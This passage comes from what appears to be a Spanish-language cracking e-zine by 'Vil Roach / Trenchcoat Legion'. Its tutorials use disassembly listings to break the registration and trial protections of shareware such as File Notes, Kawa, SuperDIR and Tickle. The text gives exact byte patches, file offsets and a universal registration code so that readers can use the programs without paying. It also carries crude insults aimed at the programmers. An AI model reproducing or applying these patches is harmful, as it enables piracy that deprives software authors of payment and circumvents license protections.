:004025E0 56                      push esi
:004025E1 E86A050000              call 00402B50
:004025E6 83C404                  add esp, 00000004
:004025E9 6A00                    push 00000000

* Possible StringData Ref from Data Obj ->"REGISTRATION CODE ACCEPTED"
                                  |
:004025EB 682C934000              push 0040932C

* Possible StringData Ref from Data Obj ->"Thank you for registering Command"
                                        ->"Line97!"
                                  |
:004025F0 6800934000              push 00409300
:004025F5 56                      push esi

* Reference To: USER32.MessageBoxA, Ord:0188h
                                  |
:004025F6 FF1508234100            Call dword ptr [00412308]
:004025FC 6A01                    push 00000001
:004025FE 56                      push esi

* Reference To: USER32.EndDialog, Ord:00ADh
                                  |
:004025FF FF155C234100            Call dword ptr [0041235C]
:00402605 B801000000              mov eax, 00000001
:0040260A 5F                      pop edi
:0040260B 5E                      pop esi
:0040260C C3                      ret

Listo ! , como vemos el proceso es muy sencillo , simplemente toma el # de
caracteres lo multiplica por el primer caracter de "Name", luego lo multipli-
ca por 1024 (Shl ECX,10), le suma un valor (0002F8CC), y lisot he ahi el num-
ber, Pero lo mas extrao es que el programador en un increible acto de inte-
ligencia puso una clave universal (0361DECA), marica tan bobo !, increible
pero cierto, con este pequeo detalle ya no vale la pena hacer el keygen,
simplemente pongan el nombre que quieran, y el number 56745674, y listo el
keygen !.

Terminamos este crack asombrandonos aun por la estupidez de el programador !.

                    Vil Roach / Trenchcoat LEgion - Punishing Bad Programmers 

-----------------------------------------------------------------------------
--10.4-----------------------------------------------------------------------

Cracking File Notes
           By 
             Vil Roach


File Notes es un util programilla que nos permite agregarle al cuadro de pro-
piedades de windows otro campo donde se puede escribir comentarios sobre el
archivo , asi de esta forma podemos marcar articulos que queramos leer , pro-
gramas que queramos crackear,etc. Imcluso trae un programa que nos permite
buscar comentarios con palabras clave; ssinceramente lo encontre bastante util.
El gran problema es que uno de los dos archivos tienen un molesto Nag-Screen
que aparece cada que lo iniciamos , y como se ejecuta al iniciar Windows ,
es aun mas molesto , asi que nuestra mision, va ser mandar este Nag-Screen
pa'la puta mierda .


El enemigo 
      ______________________________________________
      FileNotes Monitor(Unregistered)            |X|
      ----------------------------------------------
      File Notes Monitor v3.1 Evaluation Copy

      Day 5 of the 45 day evaluation period

      To register this software see the order.txt  
      file that was instaled with this version 

                  .____________.
                  |  Aceptar   |
                  '------------'

Luego de analizar el Nag-Screen y copiar cualquier palabra importante, desen-
samblamos el archivo y buscamos la funcion MessageBox" , y encontramos lo
siguiente :

Lo primero que observe es que dependiendo el messagebox que se vaya a mostrar
el programa va componiendo las strings en tiempo real,por ejemplo aquie escoge
segun el periodo de expiracion ya se acabo o no :

* Possible StringData Ref from Data Obj ->"To register this software see "
                                        ->"the ORDER.TXT"
                                  |
:00401E43 68CCF34100              push 0041F3CC
:00401E48 C1E81F                  shr eax, 1F
:00401E4B 03D0                    add edx, eax
:00401E4D 2BCA                    sub ecx, edx
:00401E4F 83F92D                  cmp ecx, 0000002D
:00401E52 890DEC314200            mov dword ptr [004231EC], ecx
:00401E58 7E33                    jle 00401E8D ;Aqui saltamos si vamos a mos-
                                               ;trar el mensaje que aparece si
                                               ;aun nos quedan dias de prueba 

* Possible StringData Ref from Data Obj ->"The 45 day evaluation period has "
                                        ->"expired"
                                  |
:00401E5A 68A0F34100              push 0041F3A0

* Possible StringData Ref from Data Obj ->"will not be able to add or change "
                                        ->"any notes"
                                  |
:00401E5F 6870F34100              push 0041F370

* Possible StringData Ref from Data Obj ->"You can still use FileNotes, however "
                                        ->"you"
                                  |
:00401E64 6844F34100              push 0041F344

* Possible StringData Ref from Data Obj ->"The 45 day evaluation period has "
                                        ->"expired."
                                  |
:00401E69 6818F34100              push 0041F318

* Possible StringData Ref from Data Obj ->"FileNotes Monitor v3.1 Evaluation "
                                        ->"Copy"
                                  |
:00401E6E 68ECF24100              push 0041F2EC

* Possible StringData Ref from Data Obj ->"%s%s%s%s"
                                  |
:00401E73 68E0F24100              push 0041F2E0
:00401E78 68882D4200              push 00422D88
:00401E7D E85E180000              call 004036E0
:00401E82 83C424                  add esp, 00000024
:00401E85 53                      push ebx

* Possible StringData Ref from Data Obj ->"FileNotes Monitor (Unregistered "
                                        ->"Expired)"
                                  |
:00401E86 6848F14100              push 0041F148
:00401E8B EB1E                    jmp 00401EAB

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00401E58(C)
|
:00401E8D 51                      push ecx

* Possible StringData Ref from Data Obj ->"FileNotes Monitor v3.1 Evaluation "
                                        ->"Copy"
                                  |
:00401E8E 68ECF24100              push 0041F2EC

* Possible StringData Ref from Data Obj ->"%sDay %d of the 45 day evaluation "
                                        ->"period"
                                  |
:00401E93 68B0F24100              push 0041F2B0
:00401E98 68882D4200              push 00422D88
:00401E9D E83E180000              call 004036E0  ;esta funcion concatena las
                                                 ;strings 
:00401EA2 83C418                  add esp, 00000018
:00401EA5 53                      push ebx (Tip : Offset 4773)------------------.
                                                                                | 
* Possible StringData Ref from Data Obj ->"FileNotes Monitor (Unregistered)"    |
                                  |                                             |
:00401EA6 6824F14100              push 0041F124                                 |
                                                                                |
* Referenced by a (U)nconditional or (C)onditional Jump at Address:             \Llamada a la Nag
|:00401E8B(U)                                                                   /-Screen !!
|                                                                               |
:00401EAB 68882D4200              push 00422D88                                 |
:00401EB0 53                      push ebx                                      |
                                                                                |
* Reference To: USER32.MessageBoxA, Ord:0195h                                   |
                                                                                |
:00401EB1 FF15B8534200            Call dword ptr [004253B8]---------------------'

Aqui la unica solucion que tenemos es ponerle Nop a todos los bytes , ya que
este programa no tenemos posibilidad de registrarlo , osea que si algun dia lo
compramos la compaia no no mandara un codigo o un patch , sino que otra ver-
sion del progrma que esta compilado. Asi que le cambiamos los 18 bytes de la
llamada a messagebox por Nops.

Nota del Newbie : Un Nop equivale al byte 90 y significa que el procesador no
debe hacer nada .

Ya asesinamos a la maldita Nag-Screen , pero por el camino encontramos otro
"Bug" , resulta que a los 45 dias el prog. deja de funcionar asi que si
solucionamos este problemilla tendremos el programa como si lo hubieramos
registrado !.

El Gran Enemigo 

Si nos fijamos bien en esta parte :

:00401E4D 2BCA                    sub ecx, edx
:00401E4F 83F92D                  cmp ecx, 0000002D ;=45 Days ??
:00401E52 890DEC314200            mov dword ptr [004231EC], ecx
:00401E58 7E33                    jle 00401E8D ;Aqui saltamos si vamos a mos-
                                               ;trar el mensaje que aparece
                                               ;si aun nos quedan dias de prueba 

Veremos que ECX es comparada con 45 (2D), o sea que hay una funcion que nos
devuelve el # de dias pasados, luego vemos que el numero de dias se guarda en
un puntero , y es porque cuando vamos a cerrar el programa, se vuelve a mirar
este numero para decidir el titulo de la message box, o sea expired o no
expired;pero lamentablemente no hay mas referencias a este puntero y si cam-
biamos es tos dos saltos lo unico que pasa es que no salen los mensajes ,pero
el programa sigue dejandonos sin poder grabar mensajes, asi que debemos mirar
la funcion del tiempo e investigar de que otra parte la llaman , y eso hacemos :

* Referenced by a CALL at Addresses:
|:00401DE4   , :00401E0D   
|
:00403750 81ECCC000000            sub esp, 000000CC
:00403756 8D442410                lea eax, dword ptr [esp+10]
:0040375A 50                      push eax

* Reference To: KERNEL32.GetLocalTime, Ord:00F5h
                                  |
:0040375B FF15C4524200            Call dword ptr [004252C4]
:00403761 8D4C2400                lea ecx, dword ptr [esp]
: ... y sigue ...

Afortunadamente solo se llama de dos lugares y uno de ellos (00401E0D) es an-
tes de que salga la MessageBox asi que ese no nos importa, entonces debemos
investigar el otro (00401DE4) :

:00401DE4 E867190000              call 00403750
:00401DE9 83C404                  add esp, 00000004
:00401DEC 89442410                mov dword ptr [esp+10], eax
:00401DF0 8D442410                lea eax, dword ptr [esp+10]
:00401DF4 53                      push ebx
:00401DF5 6A04                    push 00000004
:00401DF7 50                      push eax

* Possible StringData Ref from Data Obj ->"CurrentThreadCnt"
                                  |
:00401DF8 6830F44100              push 0041F430

* Possible StringData Ref from Data Obj ->"Win32"
                                  |
:00401DFD 6828F44100              push 0041F428

* Reference To: KERNEL32.WritePrivateProfileStructA, Ord:0281h
                                  |
:00401E02 FF1570524200            Call dword ptr [00425270]

Y encontramos algo interesantisimo , el valor que devulve la funcion lo guar-
da en un archivo .ini ,el win.ini , en una key llamada CurrentThreadCnt, en
la seccion Win32 , creativo , no ?,entonces ahora lo que debemos hacer es 
buscar donde se lee ese valor ; )

Pero que tal si ponemos un simple Ret al principio de la funcion ?

Bravo , devuelve un valor negativo y entonces nunca sera mayor de 45, asi que
ya funciona , y no sale la Nag-Screen !, pero todavia no se puede grabar los
comentarios que hagamos , y porque ? Pues simplemente porque la funcion que
graba las notas debe estar en una dll , asi que procedemos a analizar
Fnmgr.dll. Queda aclarado que respecto a File monitor ya hicimos todo que po-
diamos hacer, incluso si somos perfeccionistas podemos buscar el titulo de
la messagebox que sale cuando vamos a cerra el monitor y cambiar el "(Unre-
gistered)" por espacios, o por Cracked By "(Your name here)" y ya no queda
ningun rastro que nos indique que no nos hemos registrado.


"FNMngr.Dll" El regreso de Godzilla

BUscamos funciones con time y esto es lo que encontramos :

* Referenced by a CALL at Addresses:
|:100022D1   , :100022FB   
|
:10004620 81ECCC000000            sub esp, 000000CC
:10004626 8D442410                lea eax, dword ptr [esp+10]
:1000462A 50                      push eax

* Reference To: KERNEL32.GetLocalTime, Ord:00F5h
                                  |
:1000462B FF15E4730310            Call dword ptr [100373E4]
:10004631 8D4C2400                lea ecx, dword ptr [esp]

: ... Y sigue una funcion muy parecida a la del FMon.Exe

Miramos las direcciones de donde se llama la funcion y la primera la hace an-
tes de escribir en Win.ini asi que tambien hace algo parecido a la del 
FMon.Exe , asi que miramos en la segunda y en contramos algo muy interesante :


:100022FB E820230000              call 10004620
:10002300 8BC8                    mov ecx, eax
:10002302 B807452EC2              mov eax, C22E4507
:10002307 F7E9                    imul ecx
:10002309 03D1                    add edx, ecx
:1000230B B807452EC2              mov eax, C22E4507
:10002310 C1FA10                  sar edx, 10
:10002313 8BCA                    mov ecx, edx
:10002315 83C404                  add esp, 00000004
:10002318 C1E91F                  shr ecx, 1F
:1000231B 03D1                    add edx, ecx
:1000231D 8B4C2410                mov ecx, dword ptr [esp+10]
:10002321 8BF2                    mov esi, edx
:10002323 F7E9                    imul ecx
:10002325 03D1                    add edx, ecx
:10002327 C1FA10                  sar edx, 10
:1000232A 8BC2                    mov eax, edx
:1000232C C1E81F                  shr eax, 1F
:1000232F 03D0                    add edx, eax
:10002331 2BF2                    sub esi, edx
:10002333 8935804C0310            mov dword ptr [10034C80], esi
 . . . Y sigue 

Lo mas interesante es que luego de hacer una serie de operaciones con el va-
lor que devulve la funcion (Eax) , lo guarda en el puntero dword ptr [10034C80],
y lo mas seguro es que es para usarlo mas adelante , asi que buscamos referncia
a este puntero y encontramos lo siguiente :

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:10001E10(C)
|
:10001E1F 833D804C03102D          cmp dword ptr [10034C80], 0000002D
:10001E26 7E09                    jle 10001E31
:10001E28 8D542408                lea edx, dword ptr [esp+08]

Y que encontramos , que compara el valor con 45 y si es menor o igual
(Jump if Less or Equal-Jle) salta a 100011E31 , y esto es lo que queremos
nosotros que siempre sea menor a 45 , asi que lo cambiamos por un Jmp , es
decir 7E09 por EB09 , y echo porquecho , por fin esta crackeado el prog. O
al menos eso parece ;)

Por fin terminamos y si quedo alguna duda o descubrieron algun error digan-
melo en mi correo o en el IRC (Undernet) .


                             ViL rOaCh / tReNcHcOaT lEgIoN  ThE tRuE 33173 ;)


-----------------------------------------------------------------------------
--10.5-----------------------------------------------------------------------

Crack Kawa 1.0

            By

              Vil roach

KAwa es un IDE para java , que se compenetra perfectamente con el JDK y que
nos permite realizar todos los pasos de la elaboracion de un programa en Java
desde una comoda interfaz visual.

Kawa es un programa que vale la pena crackear ya que nos facilita mucho la
realizacion de programas en java ,la forma de registrarlo es la tipica
combinacion key/code , asi que procedemos a buscar el mensaje de error y en-
contramos :



:0040A4C0 8B0D6C3A4300            mov ecx, dword ptr [00433A6C]
:0040A4C6 56                      push esi
:0040A4C7 E834EC0000              call 00419100
:0040A4CC 8B03                    mov eax, dword ptr [ebx]
:0040A4CE 8B4DF0                  mov ecx, dword ptr [ebp-10]
:0040A4D1 50                      push eax
:0040A4D2 51                      push ecx

* Reference To: MSVCRT._mbscmp, Ord:0154h
                                  |
:0040A4D3 FF15D8574300            Call dword ptr [004357D8]
:0040A4D9 83C408                  add esp, 00000008
:0040A4DC 85C0                    test eax, eax
:0040A4DE 742A                    je 0040A50A
:0040A4E0 6A00                    push 00000000
:0040A4E2 6A40                    push 00000040

* Possible StringData Ref from Data Obj ->"Invalid Key or Registration ID. "
                                        ->"Please try again."
                                  |
:0040A4E4 68B8174300              push 004317B8

* Reference To: MFC42.Ordinal:04B0, Ord:04B0h
                                  |
:0040A4E9 E8E8B20100              Call 004257D6

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0040A546(U)
|
:0040A4EE C745FCFFFFFFFF          mov [ebp-04], FFFFFFFF
:0040A4F5 E868000000              call 0040A562
:0040A4FA 8B45F4                  mov eax, dword ptr [ebp-0C]
:0040A4FD 5F                      pop edi

Como observamos este progama usa una funcion estandard para comparar las dos
cadenas (MSVCRT._mbscmp) asi que no podemos simplemente crackear esta funcion
, asi que debemos buscar otra forma . mmhh . Ya se me ocurrio una idea , va-
mos a utilizar una tecnica bastante interesante vamos a convertir a Kawa en
su propio KeyGen , pero como hacemos esto ?. simplemente analizemos el codigo
 ;)

:0040A4C7 E834EC0000              call 00419100  ; CALL 1
:0040A4CC 8B03                    mov eax, dword ptr [ebx]  ; Param 1
:0040A4CE 8B4DF0                  mov ecx, dword ptr [ebp-10] ; Param 2
:0040A4D1 50                      push eax  ; Param 1
:0040A4D2 51                      push ecx ; Param 2

* Reference To: MSVCRT._mbscmp, Ord:0154h
                                  |
:0040A4D3 FF15D8574300            Call dword ptr [004357D8]  ;CALL 2 (String
CoMPare)

Intuimos que la Call 1 es la funcion que calcula el code correcto en base al
nombre de usuario y luego lo devuelve teniendose este que pasarse a la funcion
de Comparacion. Asi que sabemos que el serial correcto esta en dword ptr [ebx]
o en dword ptr [ebp-10]; Y aqui viene lo mas interesan te , Que tal si cambia-
mos el mensaje de error por el code correcto ! ; pues que vamos a tener un
Key Generator , y como cambiamos el programa ?

:0040A4DE 742A                    je 0040A50A
:0040A4E0 6A00                    push 00000000
:0040A4E2 6A40                    push 00000040

* Possible StringData Ref from Data Obj ->"Invalid Key or Registration ID. "
                                        ->"Please try again."
                                  |
:0040A4E4 68B8174300              push 004317B8  --> push [ebp][-0010] , nop , nop 

* Reference To: MFC42.Ordinal:04B0, Ord:04B0h
                                  |
:0040A4E9 E8E8B20100              Call 004257D6

La nueva isntruccion ocupa solo 3 bytes asi que el resto lo debemos cambiar
por 90 (nop) , esto es muy facil de hacer con el Hiew, ya que este nos permite
introducir las instrucciones en Asm y el las traduce , pero si alguien no
tiene Hiew , esta es la cadena que debemos cambiar :

:0040A4E4 68B8174300

        Cambia por :

:0040A4E4 FF75F09090   

Y listo , lo mejor de este tipo de crack es que lo mas probable es que el se-
rial que nos de el programa servira en nuevas versiones de Kawa (que ya va
como en la version 3.0) .

Hasta Luego .

                                                Vil Roach / Trenchcoat Legion 
-----------------------------------------------------------------------------
--10.6-----------------------------------------------------------------------

Cracking SuperDir (www.ozemail.com.au/~sdir)

      By
 
       Vil Roach


                      

Otra noche , otro estupido programa , otro crack , otro articulo, etc .

Super Dir es una buena utilidad que nos permite remplazar el dir tradicional
de DOS , por uno  totalmente configurable con colorcitos, muchas opciones y
todas esas pendejadas que hacen de nuestra vida algo mucho mejor (!) , el
metodo de registrado , un simple dialogo con company,user, key y una message-
box "Registration Information Incorrect" ,ah , y una maldita nag-screen que
tarda como 3 segundos en desaparecer y que nos advierte que el uso del pro-
grama sin registrar despues de 30 dias es ilegal , y como yo no quiero tener
problemas con la ley mejor lo registro y hago un patch .

La historia de siempre , W32Dasm y buscamos la palabra "Incorrect" :


:0042F57F 7511                    jne 0042F592
:0042F581 B101                    mov cl, 01

* Possible StringData Ref from Code Obj ->"Unable to write to system registry."
                                  |
:0042F583 BA60F64200              mov edx, 0042F660
:0042F588 A19C664300              mov eax, dword ptr [0043669C]
:0042F58D E836110000              call 004306C8

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0042F56F(C), :0042F57F(C)
|
:0042F592 B201                    mov dl, 01
:0042F594 8BC6                    mov eax, esi
:0042F596 8B08                    mov ecx, dword ptr [eax]
:0042F598 FF51FC                  call [ecx-04]
:0042F59B 6A00                    push 00000000
:0042F59D 668B0DE8F54200          mov cx, word ptr [0042F5E8]
:0042F5A4 33D2                    xor edx, edx

* Possible StringData Ref from Code Obj ->"Registration information incorrect."
                                  |
:0042F5A6 B828F74200              mov eax, 0042F728
:0042F5AB E84CB9FFFF              call 0042AEFC

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:

En realidad lo que vemos es muty extrao ya que el texto no se pasa como pa-
rametro a MessageBox si no que a otra funcion y ademas le antecede una serie
de llamadas para escribir en el registro y otras mierdas , parece que primero
escribiera las claves y luego las comprobara , o algo bien raro , asi que pa-
ra comprender mejor , mas bien miramos desde donde se llama toda esa rutina :


:0042F390 8B83AC010000            mov eax, dword ptr [ebx+000001AC]
:0042F396 E85D31FEFF              call 004124F8 ;esta llamada debe ser para
                                                ;obtener el texto del
:0042F39B 837DF400                cmp dword ptr [ebp-0C], 00000000 ;dialogo de
                                                                   ;"register"
:0042F39F 7428                    je 0042F3C9   ;si ese cero entonces va a la
                                                ;parte de "debe lle
:0042F3A1 8D55F0                  lea edx, dword ptr [ebp-10] ;nar todos los campos "
:0042F3A4 8B83B0010000            mov eax, dword ptr [ebx+000001B0]
:0042F3AA E84931FEFF              call 004124F8
:0042F3AF 837DF000                cmp dword ptr [ebp-10], 00000000
:0042F3B3 7414                    je 0042F3C9
:0042F3B5 8D55EC                  lea edx, dword ptr [ebp-14]
:0042F3B8 8B83B4010000            mov eax, dword ptr [ebx+000001B4]
:0042F3BE E83531FEFF              call 004124F8
:0042F3C3 837DEC00                cmp dword ptr [ebp-14], 00000000
:0042F3C7 751A                    jne 0042F3E3  ;si ningun campo era cero en-
                                                ;tonces nos vamos a la
                                                ;rutina que nos interesa , 
								;la de la Comprobacion 

* Referenced by a (U)nconditional or (C)onditional Jump at Addresses:
|:0042F39F(C), :0042F3B3(C)
|
:0042F3C9 6A00                    push 00000000
:0042F3CB 668B0DE8F54200          mov cx, word ptr [0042F5E8]
:0042F3D2 33D2                    xor edx, edx

* Possible StringData Ref from Code Obj ->"You must fill in all the required "
                                        ->"information."
                                  |
:0042F3D4 B8F4F54200              mov eax, 0042F5F4
:0042F3D9 E81EBBFFFF              call 0042AEFC
:0042F3DE E9CD010000              jmp 0042F5B0

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0042F3C7(C)
|
:0042F3E3 8D45FC                  lea eax, dword ptr [ebp-04] ;Rutina de Comprobacion 
:0042F3E6 50                      push eax
:0042F3E7 8D55F4                  lea edx, dword ptr [ebp-0C]
:0042F3EA 8B83B0010000            mov eax, dword ptr [ebx+000001B0]
:0042F3F0 E80331FEFF              call 004124F8
:0042F3F5 8B45F4                  mov eax, dword ptr [ebp-0C]
    ...
    ...
:0042F426 E875FCFFFF              call 0042F0A0
:0042F42B 8B45FC                  mov eax, dword ptr [ebp-04]
:0042F42E 8B55F8                  mov edx, dword ptr [ebp-08]
:0042F431 E8F641FDFF              call 0040362C
:0042F436 0F85DA000000            jne 0042F516 ;ESte es el unico salto condicional y la direcci0n
:0042F43C B201                    mov dl, 01  ;a donde salta es la rutina donde se borran las 
:0042F43E B804BE4200              mov eax, 0042BE04 ;keys que se haya escrito en el sistema y se 
:0042F443 E870CAFFFF              call 0042BEB8  ;hace referencia al mensajito de incorrect , 
:0042F448 8BF0                    mov esi, eax    ;o sea que ...
:0042F44A BA02000080              mov edx, 80000002
:0042F44F 8BC6                    mov eax, esi
:0042F451 E8F2CAFFFF              call 0042BF48
:0042F456 B101                    mov cl, 01

* Possible StringData Ref from Code Obj ->"\SOFTWARE\Omnivision\SuperDIR\Registration"
                                  |
:0042F458 BA2CF64200              mov edx, 0042F62C

ENtramos al hexeditor , cambiamos los el jne y tratamos de registrarnos y 
... tatan ! superdir is now registered ! , pero cuando salimos y volvemos
entrar el programa esta como si nada asi que debemos buscar el lugar al prin-
cipio cuando el programa lee los datos del regsitro del sistema y modificarlos.
Y buscando referencias a datos en el registro encontramos =

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0042F7A9(C)
|
:0042F7BC 8D4DF4                  lea ecx, dword ptr [ebp-0C]

* Possible StringData Ref from Code Obj ->"UserName"
                                  |
:0042F7BF BA14F94200              mov edx, 0042F914
:0042F7C4 8BC7                    mov eax, edi
:0042F7C6 E829CCFFFF              call 0042C3F4
:0042F7CB 8D4DF0                  lea ecx, dword ptr [ebp-10]

* Possible StringData Ref from Code Obj ->"RegNumber"
                                  |
:0042F7CE BA28F94200              mov edx, 0042F928
:0042F7D3 8BC7                    mov eax, edi
:0042F7D5 E81ACCFFFF              call 0042C3F4
:0042F7DA 8D4DEC                  lea ecx, dword ptr [ebp-14]

* Possible StringData Ref from Code Obj ->"RegKey"
                                  |
:0042F7DD BA3CF94200              mov edx, 0042F93C
:0042F7E2 8BC7                    mov eax, edi
:0042F7E4 E80BCCFFFF              call 0042C3F4
:0042F7E9 8D45FC                  lea eax, dword ptr [ebp-04]
:0042F7EC 50                      push eax
:0042F7ED 8B4DF0                  mov ecx, dword ptr [ebp-10]
:0042F7F0 8B55EC                  mov edx, dword ptr [ebp-14]
:0042F7F3 8BC6                    mov eax, esi
:0042F7F5 E85AF9FFFF              call 0042F154
:0042F7FA 8D55F8                  lea edx, dword ptr [ebp-08]
:0042F7FD 8B45F4                  mov eax, dword ptr [ebp-0C]
:0042F800 E89BF8FFFF              call 0042F0A0
:0042F805 8B45FC                  mov eax, dword ptr [ebp-04]
:0042F808 8B55F8                  mov edx, dword ptr [ebp-08]
:0042F80B E81C3EFDFF              call 0040362C
:0042F810 7504                    jne 0042F816 ; CONDICIONAL 
:0042F812 B301                    mov bl, 01
:0042F814 EB62                    jmp 0042F878

En el principio del codigo lo que hace es leer los datos de registracion y
luego hay un sospechoso condicional, asi que procedemos a cambiarlos y sor-
presa ! , ya no aparece la maldita nag screen ! o sea que ya cumplimos
nuestro objetivo matar la maldita Nag-Screen , y lo hicimos cambiando estos
dos offsets , por si ustedes quieren patchearlo :

CHG 1 = 190519
CHG 2 = 191504


                                        FIN

    
                                              Vil Roach / Trenchcoat Legion
-----------------------------------------------------------------------------
--10.7-----------------------------------------------------------------------

Cracking Tickle 

       By Vil Roach


Introduccion :

Otra noche aburrida y sosa , sin nada que hacer ni leer , asi que decido hacer
una de las cosas mas entretenidas que hay : Crackear , y como victima escojo
a Tickle un pequeo programa que nos sirve para mandar cada cierto tiempo un
paquete a nuestro ISP , para que este no nos desconecte por inactividad, util
en algunas , pero me parece un descaro cobrar dinero por el, este programa
lo consegui en un tutorial de cracking donde enseaban como crackearlo con
SoftIce , y para que no digan que yo copie el tutorial , voy a crackearlo con
una aproximacion muy distinta : El lista do muerto , o sea , el codigo desen-
samblado por W32Dasm .


The Story Of Another Stupid Crack :

Luego de desensamblar el .exe , y buscar la cadena que aparece en la message-
box que nos indica un error , encontre lo siguiente :

:00403AC9 6A00                    push 00000000
:00403ACB 6A00                    push 00000000

* Possible StringData Ref from Data Obj ->"Thank you for registering!"
                                  |
:00403ACD 68A4624000              push 004062A4

* Reference To: MFC40.Ordinal:0425, Ord:0425h
                                  |
:00403AD2 E86F0B0000              Call 00404646       ; llamada a Message Box
:00403AD7 E90E000000              jmp 00403AEA
:00403ADC 6A00                    push 00000000
:00403ADE 6A00                    push 00000000

* Possible StringData Ref from Data Obj ->"Name / Code mis-match. Try again."
                                  |
:00403AE0 68C0624000              push 004062C0

* Reference To: MFC40.Ordinal:0425, Ord:0425h
                                  |
:00403AE5 E85C0B0000              Call 00404646      ; llamada a Message Box

Lo primero que vemos es que el codigo no llama deirectamente a las api de win-
dows , si no que usa funciones de la Mfc40 lo cual es una gran putada ya que
aparecen muchas llamadas a funciones extraas y dificiles de identificar .
Tambien vemos los dos caminos que puede tomar el codigo , el bueno y el malo,
luego miramos mas arriba y encontramos lo siguiente :

:00403A3C E88D0E0000              Call 004048CE
:00403A41 C645FC01                mov [ebp-04], 01
:00403A45 8D4588                  lea eax, dword ptr [ebp-78]
:00403A48 50                      push eax
:00403A49 8B4D80                  mov ecx, dword ptr [ebp-80]
:00403A4C C645FC00                mov [ebp-04], 00
:00403A50 E8AD010000              call 00403C02    ; -- Rutina 1 --
:00403A55 C645FC02                mov [ebp-04], 02
:00403A59 8D4D88                  lea ecx, dword ptr [ebp-78]
:00403A5C E82F060000              call 00404090      ; -- Rutina 2 --
:00403A61 85C0                    test eax, eax
:00403A63 0F8573000000            jne 00403ADC       ;------> Codigo Malo !!!
:00403A69 8D45EC                  lea eax, dword ptr [ebp-14]
:00403A6C 50                      push eax
:00403A6D 8D4588                  lea eax, dword ptr [ebp-78]
:00403A70 50                      push eax
:00403A71 E85A060000              call 004040D0     ; -- rutina 3 -- 
:00403A76 85C0                    test eax, eax
:00403A78 0F845E000000            je 00403ADC       ; ------> Codigo Malo !!!
:00403A7E 8D4DF0                  lea ecx, dword ptr [ebp-10]
:00403A81 E8FAE6FFFF              call 00402180
:00403A86 50                      push eax

Aqui la solucion parece evidente , simplemente parcheamos los tres saltos y
listo !, pues no , lo que vamos  a hacer sera analizar que hace cada rutina
que llama el programa y saber como , y porque la parcheamos o no , para apren-
der algo y entender mejor el crack , asi que a continuacion analizare cada
rutina :

Primero vemos 3 llamadas a 3 rutinas distintas , la rutina 1 solo usa un para-
metro,el username, y se encarga de buscar caracteres "invalidos" como numeros
o cosas por el estilo , la rutina 2 :

QUE HACE LA RUTINA 2 ?

La rutina lo que hace es comprobar el valor devuelto por la rutina 1 , y si
hay un caracter invalido pues va a la funcion de codigo , erroneo , lo ante-
rior se puede descubrir porque aunque haya un numero en el user name y el
programa nos avise , pero de todas formas el programa sacara el error de que
no concuerda el pass con el name .
* Referenced by a CALL at Addresses:
|:004037BB   , :004037CB   , :0040380F   , :00403A5C   

:00404090 55                      push ebp
:00404091 8BEC                    mov ebp, esp
:00404093 83EC04                  sub esp, 00000004
:00404096 53                      push ebx
:00404097 56                      push esi
:00404098 57                      push edi
:00404099 894DFC                  mov dword ptr [ebp-04], ecx
:0040409C 8B4DFC                  mov ecx, dword ptr [ebp-04]
:0040409F E8BCE0FFFF              call 00402160 
:004040A4 83780400                cmp dword ptr [eax+04], 00000000  ;!!!!!!!
:004040A8 0F850A000000            jne 004040B8
:004040AE B801000000              mov eax, 00000001 ;Esta malo entonce se pone eax a 1 
:004040B3 E902000000              jmp 004040BA
:004040B8 33C0                    xor eax, eax  ;esta bueno entonces se pone eax a cero 
:004040BA E900000000              jmp 004040BF
:004040BF 5F                      pop edi
:004040C0 5E                      pop esi
:004040C1 5B                      pop ebx
:004040C2 C9                      leave
:004040C3 C3                      ret

Esta rutina es la clasica a la que se le pasan dos parametros y devuelve 0 o 1
en EAX dependiendo de si la clave es valida o no 
Rutina 3 :
* Referenced by a CALL at Addresses:
|:00403824   , :00403A71   , :00403D80    
|
:004040D0 55                      push ebp
:004040D1 8BEC                    mov ebp, esp
:004040D3 53                      push ebx
:004040D4 56                      push esi
:004040D5 57                      push edi
:004040D6 8B4D0C                  mov ecx, dword ptr [ebp+0C]
:004040D9 E8A2E0FFFF              call 00402180
:004040DE 50                      push eax
:004040DF 8B4D08                  mov ecx, dword ptr [ebp+08]
:004040E2 E829000000              call 00404110
:004040E7 85C0                    test eax, eax
:004040E9 0F850A000000            jne 004040F9  ;!!!!!!!!!!!!!!
:004040EF B801000000              mov eax, 00000001    ; lo deja bueno 
:004040F4 E902000000              jmp 004040FB   
:004040F9 33C0                    xor eax, eax   ;Se putea todo     
:004040FB E900000000              jmp 00404100                  
:00404100 5F                      pop edi
:00404101 5E                      pop esi
:00404102 5B                      pop ebx
:00404103 C9                      leave
:00404104 C20800                  ret 0008

Sabiendo que hace cada funcion mi primer experimento fue el de cambiar el
salto que hay despues de la rutina 3 para que no saltara a la parte del codigo
malo ,cambio el je (84) por un jne (85), luego ejecuto el programa e introduz-
co el codigo sin numeros ,y me da las gracias por registrarme luego reinicio
el programa , y que pasa ? , el malparido dice Unregistered ,asi que este debe
ser de los programas que guarda el pass y el username , en algun lado y los
chequea al inicio del programa para ver si son validos o no , y donde los
guarda ? pues miramos la parte del programa que este cerca a la parte del
"Thanks For Spend Yur Money in Beer for me and my boyfriend" y encontramos lo
siguiente :

* Possible StringData Ref from Data Obj ->"Name"
                                  |
:00403A87 6884624000              push 00406284

* Possible StringData Ref from Data Obj ->"User"
                                  |
:00403A8C 688C624000              push 0040628C
:00403A91 E83AE7FFFF              call 004021D0
:00403A96 8BC8                    mov ecx, eax

* Reference To: MFC40.Ordinal:162A, Ord:162Ah
                                  |
:00403A98 E8B50B0000              Call 00404652       ; Funcion X
:00403A9D 8D4DEC                  lea ecx, dword ptr [ebp-14]
:00403AA0 E8DBE6FFFF              call 00402180
:00403AA5 50                      push eax

* Possible StringData Ref from Data Obj ->"Code"
                                  |
:00403AA6 6894624000              push 00406294

* Possible StringData Ref from Data Obj ->"User"
                                  |
:00403AAB 689C624000              push 0040629C
:00403AB0 E81BE7FFFF              call 004021D0
:00403AB5 8BC8                    mov ecx, eax

* Reference To: MFC40.Ordinal:162A, Ord:162Ah
                                  |
:00403AB7 E8960B0000              Call 00404652         ; Funcion X
:00403ABC 8B4580                  mov eax, dword ptr [ebp-80]
